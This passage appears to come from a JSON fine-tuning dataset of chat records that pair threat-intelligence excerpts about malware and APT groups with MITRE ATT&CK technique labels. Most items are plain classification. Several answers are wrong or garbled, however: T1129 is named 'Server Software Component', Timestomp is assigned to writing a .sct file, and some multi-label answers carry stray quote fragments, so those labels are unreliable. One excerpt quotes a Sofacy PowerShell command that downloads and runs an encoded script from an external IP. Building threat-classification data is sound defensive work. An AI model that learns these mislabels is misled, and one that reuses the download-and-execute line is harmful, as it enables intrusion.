                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to pull down the backdoor, a payload stager, either HTTP or reverse-DNS, is executed with the use of a scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sowbug extracted Word documents from a file server on a victim network."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has delivered self-extracting 7z archive files within malicious document attachments, and used obfuscated or encrypted scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has the ability to discover the computer name and Windows product name/version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird exploits CVE-2016-4117 to allow an executable to gain escalated privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This attack begins with a spear phishing attack through a targeted email campaign. Over 80 files were sent to 40 email accounts within the organization, within the span of about an hour. The email contains Microsoft Excel attachments with malicious macros"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Wekby group continues to target various high profile organizations using sophisticated malware. The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The screenshot in Figure 8 of the inf method within a Cannon sample (SHA256: 4405cfbf28. ) shows the information gathered that is exfiltrated to the C2 via email, specifically with RunningPlace and LogicalDrives header strings"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use VBA to perform execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk loads and executes functions from a DLL."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is commonly sold on various hacking forums as a keylogger and stealer that can be used to monitor systems and exfiltrate information from those systems"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser is capable of listing files, folders, and drives on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex can parse the available drives and directories to determine which files to encrypt."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise executes \"ipconfig /all\" after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "created a directory named \"out\" in the user's %AppData% folder and copied files to it."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used steganography in multiple operations to conceal malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In doing so, it will attempt to detect the following Anti-Virus products via various techniques:  Trend Micro Kaspersky Symantec Avira AVG ALYac Ahnlab  Ahnlab and ALYac are the most widely used Anti-Virus solutions in South Korea, and Trend Micro and the rest are also known to be most widely used in Taiwan"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel can automatically upload collected files to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can enumerate shares on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:       C:\\\\Programs\\\\Microsoft\\\\MSOffice\\\\Word.exe\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -sta -NonI -Whidden $e=(New-ObjectSystem.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');powershell -enc $e #     The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can collect process filenames and SID authority level."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can use the Windows user name to create a unique identification for infected users and systems."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\\12-B-366.txt"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": ". . The bot will report key information back to the C&C, including the result of the various custom API executions. The first communications include any hard-coded C&C followed by the DGA. Shifu uses RC4 encryption in the network communications. Notably, the key for the samples analyzed by iSIGHT Partners is actually the default RC4 key included with the Crypto library, further suggesting this malware is under development. The following is the key observed:"
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used a keylogger called GEARSHIFT on a target system."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability to take screenshots on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The net accounts and net accounts /domain commands with  can be used to obtain password policy information."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encrypted Configuration in shellcode The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stop the running xmlprov service - Copy dropped xmlprov.dll and xmlrov.ini into the system32 directory and delete them from the current directory - Check if xmlProv service is installed or not and if it is not installed create the service through svchost.exe - Modify the xmlProv service values including type and binpath - Add xmlProv to the list of the services to be loaded by svchost - add xmlProv to the xmlProv registry key - Start the xmlProv service"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has embedded malicious macros within spearphishing attachments to download additional files."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz's \"MISC::AddSid\" module can appended any SID or user/group account to a user's SID-History. Mimikatz also utilizes SID-History Injection to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the victim's operating system version and keyboard layout and sends the information to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data"
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper has a module to delete itself from the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can spawn a job to inject into LSASS memory and dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has the capability to discover the system OS, Windows version, architecture and environment."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "pngdowner deletes content from C2 communications that was saved to the user's temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can encrypt files on infected machines to extort victims."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector can use IronPython scripts to load payloads with the help of a .NET injector."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "59 60 61 62 freeimage_32.dll freeimageplus_32.dll freeimage_64.dll freeimageplus_64.dll FreeImage open source library supports popular graphics image formats (ver 3.15.4 2012-10-27) (http://freeimage.sourceforge.net)"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used a payload that removes itself after running. TeamTNT also has deleted locally staged files for collecting credentials or scan results for local IP addresses after exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire has the ability to automatically send collected data back to the threat actors' C2."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has deleted batch files after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropper installs 2 files:netwf.bat : executes netwf.dllnetwf.dll : the payloadThe dropper implements 2 persistence mechanisms:HKCU\\Environment\\UserInitMprLogonScript to execute the netwf.bat fileCOM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3D-C4579291692E}, the CLSID of the class MMDeviceEnumerator.These 2 techniques have also been previously used by this actor.Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM Object hijack is performed"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The malicious .rtf file exploits CVE-2017-11882. 3) The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt. 4) b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The logging functions are hooked so that whenever the backdoor is used, nothing gets sent to the logging facility, leaving no trace of the backdoor in the log files on disk. If the backdoor is not in use, logging will behave normally and function calls will get redirected to the original function implementation"
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can generate a UAC pop-up Window to prompt the target user to run a command as the administrator."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete uses the \"netsh wlan show networks mode=bssid\" and \"netsh wlan show interfaces\" commands to list all nearby WiFi networks and connected interfaces."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has downloaded files to a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main code is run in a separate thread: every 10 minutes, the application contacts the C&amp;C server motivation[.]neighboring[.]site and passes it the computer's identifier in the User-Agent string. The identifier is a SuperFastHash of the system volume serial number and the name of the computer"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty uses a keylogger plugin to gather keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server, effectively changing the address the malware will communicate with"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used Base64 to encode C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Rundll32 for executing the dropper program."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can obtain network information, including DNS, IP, and proxies."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used JavaScript files to execute its POWERSTATS payload."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors' backdoors were written in Python and compiled with py2exe."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can remotely activate the victim’s webcam to capture content."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has checked if the malware is running in a virtual environment with the anti-debug function GetTickCount() to compare the timing."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can scan for open TCP ports on the target network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can execute remote commands using bash scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Loads the image resource with name `T__6541957882` into memory. 3) Adds `0xEE` to the bytes to decode the DLL. 4) Reflectively loads decoded DLL into memory and executes it"
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has used a publicly-available PowerShell-based tool, WMImplant. The group has also used PowerShell to perform Timestomping."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can generate encrypted, compressed/encoded, or otherwise obfuscated code modules."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner used an MSI installer to install the virtualization software."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
